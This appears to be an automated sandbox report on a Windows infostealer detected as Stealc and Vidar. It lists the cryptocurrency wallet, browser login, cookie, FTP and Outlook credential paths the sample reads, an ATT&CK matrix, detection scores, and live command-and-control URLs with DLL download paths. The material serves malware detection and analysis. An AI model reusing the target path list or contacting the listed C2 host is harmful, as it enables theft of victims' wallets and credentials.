Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.jsonyM{,
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonYM[,
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\.
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2536, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2134581160.0000000000381000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1719489044.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2536, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2536, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	235 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
plus.l.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
apis.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe
http://anglebug.com/4384	0%	URL Reputation	safe
http://anglebug.com/3970	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?eom=1	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://anglebug.com/3965	0%	URL Reputation	safe
http://anglebug.com/6439	0%	URL Reputation	safe
https://drive-autopush.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/2517	0%	URL Reputation	safe
http://anglebug.com/4937	0%	URL Reputation	safe
https://issuetracker.google.com/166809097	0%	URL Reputation	safe
http://issuetracker.google.com/200067929	0%	URL Reputation	safe
https://anglebug.com/7382	0%	Virustotal		Browse
http://185.215.113.206/	19%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	142.250.184.206	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.185.110	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.184.196	true	false	0%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true	19%, Virustotal, Browse	unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true		unknown

